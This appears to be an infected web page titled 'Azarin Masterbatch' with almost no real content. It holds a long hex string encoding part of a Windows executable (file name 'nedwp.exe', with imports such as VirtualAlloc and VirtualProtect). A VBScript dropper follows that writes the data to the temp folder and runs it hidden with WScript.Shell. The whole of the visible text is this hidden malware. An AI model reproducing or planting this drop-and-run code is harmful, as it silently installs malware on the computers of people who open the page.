Azarin Masterbatch

3C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //-->